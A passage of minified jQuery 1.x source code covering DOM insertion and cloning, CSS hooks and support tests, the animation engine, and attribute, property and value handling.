e.events)n.removeEvent(b,d,e.handle);b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(Da(b).text=a.text,Ea(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&Z.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}}function Ha(a,b,c,d){b=f.apply([],b);var e,g,h,i,j,k,m=0,o=a.length,p=o-1,q=b[0],r=n.isFunction(q);if(r||o>1&&"string"==typeof q&&!l.checkClone&&xa.test(q))return a.each(function(e){var f=a.eq(e);r&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(o&&(k=ja(b,a[0].ownerDocument,!1,a,d),e=k.firstChild,1===k.childNodes.length&&(k=e),e||d)){for(i=n.map(ea(k,"script"),Da),h=i.length;o>m;m++)g=k,m!==p&&(g=n.clone(g,!0,!0),h&&n.merge(i,ea(g,"script"))),c.call(a[m],g,m);if(h)for(j=i[i.length-1].ownerDocument,n.map(i,Ea),m=0;h>m;m++)g=i[m],_.test(g.type||"")&&!n._data(g,"globalEval")&&n.contains(j,g)&&(g.src?n._evalUrl&&n._evalUrl(g.src):n.globalEval((g.text||g.textContent||g.innerHTML||"").replace(za,"")));k=e=null}return a}function Ia(a,b,c){for(var d,e=b?n.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||n.cleanData(ea(d)),d.parentNode&&(c&&n.contains(d.ownerDocument,d)&&fa(ea(d,"script")),d.parentNode.removeChild(d));return a}n.extend({htmlPrefilter:function(a){return a.replace(va,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!ua.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(Ba.innerHTML=a.outerHTML,Ba.removeChild(f=Ba.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(d=ea(f),h=ea(a),g=0;null!=(e=h[g]);++g)d[g]&&Ga(e,d[g]);if(b)if(c)for(h=h||ea(a),d=d||ea(f),g=0;null!=(e=h[g]);g++)Fa(e,d[g]);else Fa(a,f);return d=ea(f,"script"),d.length>0&&fa(d,!i&&ea(a,"script")),d=h=e=null,f},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.attributes,m=n.event.special;null!=(d=a[h]);h++)if((b||M(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle);j[f]&&(delete j[f],k||"undefined"==typeof d.removeAttribute?d[i]=void 0:d.removeAttribute(i),c.push(f))}}}),n.fn.extend({domManip:Ha,detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return Y(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||d).createTextNode(a))},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(ea(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return Y(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(ta,""):void 0;if("string"==typeof a&&!wa.test(a)&&(l.htmlSerialize||!ua.test(a))&&(l.leadingWhitespace||!aa.test(a))&&!da[($.exec(a)||["",""])[1].toLowerCase()]){a=n.htmlPrefilter(a);try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(ea(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ha(this,arguments,function(b){var c=this.parentNode;n.inArray(this,a)<0&&(n.cleanData(ea(this)),c&&c.replaceChild(b,this))},a)}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],f=n(a),h=f.length-1;h>=d;d++)c=d===h?this:this.clone(!0),n(f[d])[b](c),g.apply(e,c.get());return this.pushStack(e)}});var Ja,Ka={HTML:"block",BODY:"block"};function La(a,b){var c=n(b.createElement(a)).appendTo(b.body),d=n.css(c[0],"display");return c.detach(),d}function Ma(a){var b=d,c=Ka[a];return c||(c=La(a,b),"none"!==c&&c||(Ja=(Ja||n("<iframe frameborder='0' width='0' height='0'/>")).appendTo(b.documentElement),b=(Ja[0].contentWindow||Ja[0].contentDocument).document,b.write(),b.close(),c=La(a,b),Ja.detach()),Ka[a]=c),c}var Na=/^margin/,Oa=new RegExp("^("+T+")(?!px)[a-z%]+$","i"),Pa=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e},Qa=d.documentElement;!function(){var b,c,e,f,g,h,i=d.createElement("div"),j=d.createElement("div");if(j.style){j.style.cssText="float:left;opacity:.5",l.opacity="0.5"===j.style.opacity,l.cssFloat=!!j.style.cssFloat,j.style.backgroundClip="content-box",j.cloneNode(!0).style.backgroundClip="",l.clearCloneStyle="content-box"===j.style.backgroundClip,i=d.createElement("div"),i.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",j.innerHTML="",i.appendChild(j),l.boxSizing=""===j.style.boxSizing||""===j.style.MozBoxSizing||""===j.style.WebkitBoxSizing,n.extend(l,{reliableHiddenOffsets:function(){return null==b&&k(),f},boxSizingReliable:function(){return null==b&&k(),e},pixelMarginRight:function(){return null==b&&k(),c},pixelPosition:function(){return null==b&&k(),b},reliableMarginRight:function(){return null==b&&k(),g},reliableMarginLeft:function(){return null==b&&k(),h}});function k(){var k,l,m=d.documentElement;m.appendChild(i),j.style.cssText="-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",b=e=h=!1,c=g=!0,a.getComputedStyle&&(l=a.getComputedStyle(j),b="1%"!==(l||{}).top,h="2px"===(l||{}).marginLeft,e="4px"===(l||{width:"4px"}).width,j.style.marginRight="50%",c="4px"===(l||{marginRight:"4px"}).marginRight,k=j.appendChild(d.createElement("div")),k.style.cssText=j.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",k.style.marginRight=k.style.width="0",j.style.width="1px",g=!parseFloat((a.getComputedStyle(k)||{}).marginRight),j.removeChild(k)),j.style.display="none",f=0===j.getClientRects().length,f&&(j.style.display="",j.innerHTML="<table><tr><td></td><td>t</td></tr></table>",j.childNodes[0].style.borderCollapse="separate",k=j.getElementsByTagName("td"),k[0].style.cssText="margin:0;border:0;padding:0;display:none",f=0===k[0].offsetHeight,f&&(k[0].style.display="",k[1].style.display="none",f=0===k[0].offsetHeight)),m.removeChild(i)}}}();var Ra,Sa,Ta=/^(top|right|bottom|left)$/;a.getComputedStyle?(Ra=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)},Sa=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ra(a),g=c?c.getPropertyValue(b)||c[b]:void 0,""!==g&&void 0!==g||n.contains(a.ownerDocument,a)||(g=n.style(a,b)),c&&!l.pixelMarginRight()&&Oa.test(g)&&Na.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f),void 0===g?g:g+""}):Qa.currentStyle&&(Ra=function(a){return a.currentStyle},Sa=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ra(a),g=c?c[b]:void 0,null==g&&h&&h[b]&&(g=h[b]),Oa.test(g)&&!Ta.test(b)&&(d=h.left,e=a.runtimeStyle,f=e&&e.left,f&&(e.left=a.currentStyle.left),h.left="fontSize"===b?"1em":g,g=h.pixelLeft+"px",h.left=d,f&&(e.left=f)),void 0===g?g:g+""||"auto"});function Ua(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Va=/alpha\([^)]*\)/i,Wa=/opacity\s*=\s*([^)]*)/i,Xa=/^(none|table(?!-c[ea]).+)/,Ya=new RegExp("^("+T+")(.*)$","i"),Za={position:"absolute",visibility:"hidden",display:"block"},$a={letterSpacing:"0",fontWeight:"400"},_a=["Webkit","O","Moz","ms"],ab=d.createElement("div").style;function bb(a){if(a in ab)return a;var b=a.charAt(0).toUpperCase()+a.slice(1),c=_a.length;while(c--)if(a=_a[c]+b,a in ab)return a}function cb(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=n._data(d,"olddisplay"),c=d.style.display,b?(f[g]||"none"!==c||(d.style.display=""),""===d.style.display&&W(d)&&(f[g]=n._data(d,"olddisplay",Ma(d.nodeName)))):(e=W(d),(c&&"none"!==c||!e)&&n._data(d,"olddisplay",e?c:n.css(d,"display"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&"none"!==d.style.display&&""!==d.style.display||(d.style.display=b?f[g]||"":"none"));return a}function db(a,b,c){var d=Ya.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||"px"):b}function eb(a,b,c,d,e){for(var f=c===(d?"border":"content")?4:"width"===b?1:0,g=0;4>f;f+=2)"margin"===c&&(g+=n.css(a,c+V[f],!0,e)),d?("content"===c&&(g-=n.css(a,"padding"+V[f],!0,e)),"margin"!==c&&(g-=n.css(a,"border"+V[f]+"Width",!0,e))):(g+=n.css(a,"padding"+V[f],!0,e),"padding"!==c&&(g+=n.css(a,"border"+V[f]+"Width",!0,e)));return g}function fb(a,b,c){var d=!0,e="width"===b?a.offsetWidth:a.offsetHeight,f=Ra(a),g=l.boxSizing&&"border-box"===n.css(a,"boxSizing",!1,f);if(0>=e||null==e){if(e=Sa(a,b,f),(0>e||null==e)&&(e=a.style[b]),Oa.test(e))return e;d=g&&(l.boxSizingReliable()||e===a.style[b]),e=parseFloat(e)||0}return e+eb(a,b,c||(g?"border":"content"),d,f)+"px"}n.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Sa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":l.cssFloat?"cssFloat":"styleFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=n.camelCase(b),i=a.style;if(b=n.cssProps[h]||(n.cssProps[h]=bb(h)||h),g=n.cssHooks[b]||n.cssHooks[h],void 0===c)return g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b];if(f=typeof c,"string"===f&&(e=U.exec(c))&&e[1]&&(c=X(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(n.cssNumber[h]?"":"px")),l.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),!(g&&"set"in g&&void 0===(c=g.set(a,c,d)))))try{i[b]=c}catch(j){}}},css:function(a,b,c,d){var e,f,g,h=n.camelCase(b);return b=n.cssProps[h]||(n.cssProps[h]=bb(h)||h),g=n.cssHooks[b]||n.cssHooks[h],g&&"get"in g&&(f=g.get(a,!0,c)),void 0===f&&(f=Sa(a,b,d)),"normal"===f&&b in $a&&(f=$a[b]),""===c||c?(e=parseFloat(f),c===!0||isFinite(e)?e||0:f):f}}),n.each(["height","width"],function(a,b){n.cssHooks[b]={get:function(a,c,d){return c?Xa.test(n.css(a,"display"))&&0===a.offsetWidth?Pa(a,Za,function(){return fb(a,b,d)}):fb(a,b,d):void 0},set:function(a,c,d){var e=d&&Ra(a);return db(a,c,d?eb(a,b,d,l.boxSizing&&"border-box"===n.css(a,"boxSizing",!1,e),e):0)}}}),l.opacity||(n.cssHooks.opacity={get:function(a,b){return Wa.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=n.isNumeric(b)?"alpha(opacity="+100*b+")":"",f=d&&d.filter||c.filter||"";c.zoom=1,(b>=1||""===b)&&""===n.trim(f.replace(Va,""))&&c.removeAttribute&&(c.removeAttribute("filter"),""===b||d&&!d.filter)||(c.filter=Va.test(f)?f.replace(Va,e):f+" "+e)}}),n.cssHooks.marginRight=Ua(l.reliableMarginRight,function(a,b){return b?Pa(a,{display:"inline-block"},Sa,[a,"marginRight"]):void 0}),n.cssHooks.marginLeft=Ua(l.reliableMarginLeft,function(a,b){return b?(parseFloat(Sa(a,"marginLeft"))||(n.contains(a.ownerDocument,a)?a.getBoundingClientRect().left-Pa(a,{
  4. marginLeft:0},function(){return a.getBoundingClientRect().left}):0))+"px":void 0}),n.each({margin:"",padding:"",border:"Width"},function(a,b){n.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];4>d;d++)e[a+V[d]+b]=f[d]||f[d-2]||f[0];return e}},Na.test(a)||(n.cssHooks[a+b].set=db)}),n.fn.extend({css:function(a,b){return Y(this,function(a,b,c){var d,e,f={},g=0;if(n.isArray(b)){for(d=Ra(a),e=b.length;e>g;g++)f[b[g]]=n.css(a,b[g],!1,d);return f}return void 0!==c?n.style(a,b,c):n.css(a,b)},a,b,arguments.length>1)},show:function(){return cb(this,!0)},hide:function(){return cb(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){W(this)?n(this).show():n(this).hide()})}});function gb(a,b,c,d,e){return new gb.prototype.init(a,b,c,d,e)}n.Tween=gb,gb.prototype={constructor:gb,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||n.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(n.cssNumber[c]?"":"px")},cur:function(){var a=gb.propHooks[this.prop];return a&&a.get?a.get(this):gb.propHooks._default.get(this)},run:function(a){var b,c=gb.propHooks[this.prop];return this.options.duration?this.pos=b=n.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):gb.propHooks._default.set(this),this}},gb.prototype.init.prototype=gb.prototype,gb.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=n.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){n.fx.step[a.prop]?n.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[n.cssProps[a.prop]]&&!n.cssHooks[a.prop]?a.elem[a.prop]=a.now:n.style(a.elem,a.prop,a.now+a.unit)}}},gb.propHooks.scrollTop=gb.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},n.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},n.fx=gb.prototype.init,n.fx.step={};var hb,ib,jb=/^(?:toggle|show|hide)$/,kb=/queueHooks$/;function lb(){return a.setTimeout(function(){hb=void 0}),hb=n.now()}function mb(a,b){var c,d={height:a},e=0;for(b=b?1:0;4>e;e+=2-b)c=V[e],d["margin"+c]=d["padding"+c]=a;return b&&(d.opacity=d.width=a),d}function nb(a,b,c){for(var d,e=(qb.tweeners[b]||[]).concat(qb.tweeners["*"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function ob(a,b,c){var d,e,f,g,h,i,j,k,m=this,o={},p=a.style,q=a.nodeType&&W(a),r=n._data(a,"fxshow");c.queue||(h=n._queueHooks(a,"fx"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,m.always(function(){m.always(function(){h.unqueued--,n.queue(a,"fx").length||h.empty.fire()})})),1===a.nodeType&&("height"in b||"width"in b)&&(c.overflow=[p.overflow,p.overflowX,p.overflowY],j=n.css(a,"display"),k="none"===j?n._data(a,"olddisplay")||Ma(a.nodeName):j,"inline"===k&&"none"===n.css(a,"float")&&(l.inlineBlockNeedsLayout&&"inline"!==Ma(a.nodeName)?p.zoom=1:p.display="inline-block")),c.overflow&&(p.overflow="hidden",l.shrinkWrapBlocks()||m.always(function(){p.overflow=c.overflow[0],p.overflowX=c.overflow[1],p.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],jb.exec(e)){if(delete b[d],f=f||"toggle"===e,e===(q?"hide":"show")){if("show"!==e||!r||void 0===r[d])continue;q=!0}o[d]=r&&r[d]||n.style(a,d)}else j=void 0;if(n.isEmptyObject(o))"inline"===("none"===j?Ma(a.nodeName):j)&&(p.display=j);else{r?"hidden"in r&&(q=r.hidden):r=n._data(a,"fxshow",{}),f&&(r.hidden=!q),q?n(a).show():m.done(function(){n(a).hide()}),m.done(function(){var b;n._removeData(a,"fxshow");for(b in o)n.style(a,b,o[b])});for(d in o)g=nb(q?r[d]:0,d,m),d in r||(r[d]=g.start,q&&(g.end=g.start,g.start="width"===d||"height"===d?1:0))}}function pb(a,b){var c,d,e,f,g;for(c in a)if(d=n.camelCase(c),e=b[d],f=a[c],n.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=n.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function qb(a,b,c){var d,e,f=0,g=qb.prefilters.length,h=n.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=hb||lb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:n.extend({},b),opts:n.extend(!0,{specialEasing:{},easing:n.easing._default},c),originalProperties:b,originalOptions:c,startTime:hb||lb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=n.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(pb(k,j.opts.specialEasing);g>f;f++)if(d=qb.prefilters[f].call(j,a,k,j.opts))return n.isFunction(d.stop)&&(n._queueHooks(j.elem,j.opts.queue).stop=n.proxy(d.stop,d)),d;return n.map(k,nb,j),n.isFunction(j.opts.start)&&j.opts.start.call(a,j),n.fx.timer(n.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}n.Animation=n.extend(qb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return X(c.elem,a,U.exec(b),c),c}]},tweener:function(a,b){n.isFunction(a)?(b=a,a=["*"]):a=a.match(G);for(var c,d=0,e=a.length;e>d;d++)c=a[d],qb.tweeners[c]=qb.tweeners[c]||[],qb.tweeners[c].unshift(b)},prefilters:[ob],prefilter:function(a,b){b?qb.prefilters.unshift(a):qb.prefilters.push(a)}}),n.speed=function(a,b,c){var d=a&&"object"==typeof a?n.extend({},a):{complete:c||!c&&b||n.isFunction(a)&&a,duration:a,easing:c&&b||b&&!n.isFunction(b)&&b};return d.duration=n.fx.off?0:"number"==typeof d.duration?d.duration:d.duration in n.fx.speeds?n.fx.speeds[d.duration]:n.fx.speeds._default,null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){n.isFunction(d.old)&&d.old.call(this),d.queue&&n.dequeue(this,d.queue)},d},n.fn.extend({fadeTo:function(a,b,c,d){return this.filter(W).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=n.isEmptyObject(a),f=n.speed(b,c,d),g=function(){var b=qb(this,n.extend({},a),f);(e||n._data(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=n.timers,g=n._data(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&kb.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||n.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=n._data(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=n.timers,g=d?d.length:0;for(c.finish=!0,n.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),n.each(["toggle","show","hide"],function(a,b){var c=n.fn[b];n.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(mb(b,!0),a,d,e)}}),n.each({slideDown:mb("show"),slideUp:mb("hide"),slideToggle:mb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){n.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),n.timers=[],n.fx.tick=function(){var a,b=n.timers,c=0;for(hb=n.now();c<b.length;c++)a=b[c],a()||b[c]!==a||b.splice(c--,1);b.length||n.fx.stop(),hb=void 0},n.fx.timer=function(a){n.timers.push(a),a()?n.fx.start():n.timers.pop()},n.fx.interval=13,n.fx.start=function(){ib||(ib=a.setInterval(n.fx.tick,n.fx.interval))},n.fx.stop=function(){a.clearInterval(ib),ib=null},n.fx.speeds={slow:600,fast:200,_default:400},n.fn.delay=function(b,c){return b=n.fx?n.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a,b=d.createElement("input"),c=d.createElement("div"),e=d.createElement("select"),f=e.appendChild(d.createElement("option"));c=d.createElement("div"),c.setAttribute("className","t"),c.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",a=c.getElementsByTagName("a")[0],b.setAttribute("type","checkbox"),c.appendChild(b),a=c.getElementsByTagName("a")[0],a.style.cssText="top:1px",l.getSetAttribute="t"!==c.className,l.style=/top/.test(a.getAttribute("style")),l.hrefNormalized="/a"===a.getAttribute("href"),l.checkOn=!!b.value,l.optSelected=f.selected,l.enctype=!!d.createElement("form").enctype,e.disabled=!0,l.optDisabled=!f.disabled,b=d.createElement("input"),b.setAttribute("value",""),l.input=""===b.getAttribute("value"),b.value="t",b.setAttribute("type","radio"),l.radioValue="t"===b.value}();var rb=/\r/g,sb=/[\x20\t\r\n\f]+/g;n.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=n.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,n(this).val()):a,null==e?e="":"number"==typeof e?e+="":n.isArray(e)&&(e=n.map(e,function(a){return null==a?"":a+""})),b=n.valHooks[this.type]||n.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=n.valHooks[e.type]||n.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),n.extend({valHooks:{option:{get:function(a){var b=n.find.attr(a,"value");return null!=b?b:n.trim(n.text(a)).replace(sb," ")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],(c.selected||i===e)&&(l.optDisabled?!c.disabled:null===c.getAttribute("disabled"))&&(!c.parentNode.disabled||!n.nodeName(c.parentNode,"optgroup"))){if(b=n(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=n.makeArray(b),g=e.length;while(g--)if(d=e[g],n.inArray(n.valHooks.option.get(d),f)>-1)try{d.selected=c=!0}catch(h){d.scrollHeight}else d.selected=!1;return c||(a.selectedIndex=-1),e}}}}),n.each(["radio","checkbox"],function(){n.valHooks[this]={set:function(a,b){return n.isArray(b)?a.checked=n.inArray(n(a).val(),b)>-1:void 0}},l.checkOn||(n.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var tb,ub,vb=n.expr.attrHandle,wb=/^(?:checked|selected)$/i,xb=l.getSetAttribute,yb=l.input;n.fn.extend({attr:function(a,b){return Y(this,n.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){n.removeAttr(this,a)})}}),n.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?n.prop(a,b,c):(1===f&&n.isXMLDoc(a)||(b=b.toLowerCase(),e=n.attrHooks[b]||(n.expr.match.bool.test(b)?ub:tb)),void 0!==c?null===c?void n.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=n.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!l.radioValue&&"radio"===b&&n.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(G);if(f&&1===a.nodeType)while(c=f[e++])d=n.propFix[c]||c,n.expr.match.bool.test(c)?yb&&xb||!wb.test(c)?a[d]=!1:a[n.camelCase("default-"+c)]=a[d]=!1:n.attr(a,c,""),a.removeAttribute(xb?c:d)}}),ub={set:function(a,b,c){return b===!1?n.removeAttr(a,c):yb&&xb||!wb.test(c)?a.setAttribute(!xb&&n.propFix[c]||c,c):a[n.camelCase("default-"+c)]=a[c]=!0,c}},n.each(n.expr.match.bool.source.match(/\w+/g),function(a,b){var c=vb[b]||n.find.attr;yb&&xb||!wb.test(b)?vb[b]=function(a,b,d){var e,f;return d||(f=vb[b],vb[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,vb[b]=f),e}:vb[b]=function(a,b,c){return c?void 0:a[n.camelCase("default-"+b)]?b.toLowerCase():null}}),yb&&xb||(n.attrHooks.value={set:function(a,b,c){return n.nodeName(a,"input")?void(a.defaultValue=b):tb&&tb.set(a,b,c)}}),xb||(tb={set:function(a,b,c){var d=a.getAttributeNode(c);return d||a.setAttributeNode(d=a.ownerDocument.createAttribute(c)),d.value=b+="","value"===c||b===a.getAttribute(c)?b:void 0}},vb.id=vb.name=vb.coords=function(a,b,c){var d;return c?void 0:(d=a.getAttributeNode(b))&&""!==d.value?d.value:null},n.valHooks.button={get:function(a,b){var c=a.getAttributeNode(b);return c&&c.specified?c.value:void 0},set:tb.set},n.attrHooks.contenteditable={set:function(a,b,c){tb.set(a,""===b?!1:b,c)}},n.each(["width","height"],function(a,b){n.attrHooks[b]={set:function(a,c){return""===c?(a.setAttribute(b,"auto"),c):void 0}}})),l.style||(n.attrHooks.style={get:function(a){return a.style.cssText||void 0},set:function(a,b){return a.style.cssText=b+""}});var zb=/^(?:input|select|textarea|button|object)$/i,Ab=/^(?:a|area)$/i;n.fn.extend({prop:function(a,b){return Y(this,n.prop,a,b,arguments.length>1)},removeProp:function(a){return a=n.propFix[a]||a,this.each(function(){try{this[a]=void 0,delete this[a]}catch(b){}})}}),n.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&n.isXMLDoc(a)||(b=n.propFix[b]||b,e=n.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=n.find.attr(a,"tabindex");return b?parseInt(b,10):zb.test(a.nodeName)||Ab.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),l.hrefNormalized||n.each(["href","src"],function(a,b){n.propHooks[b]={get:function(a){return a.getAttribute(b,4)}}}),l.optSelected||(n.propHooks.selected={get:function(a){var b=a.parentNode;return 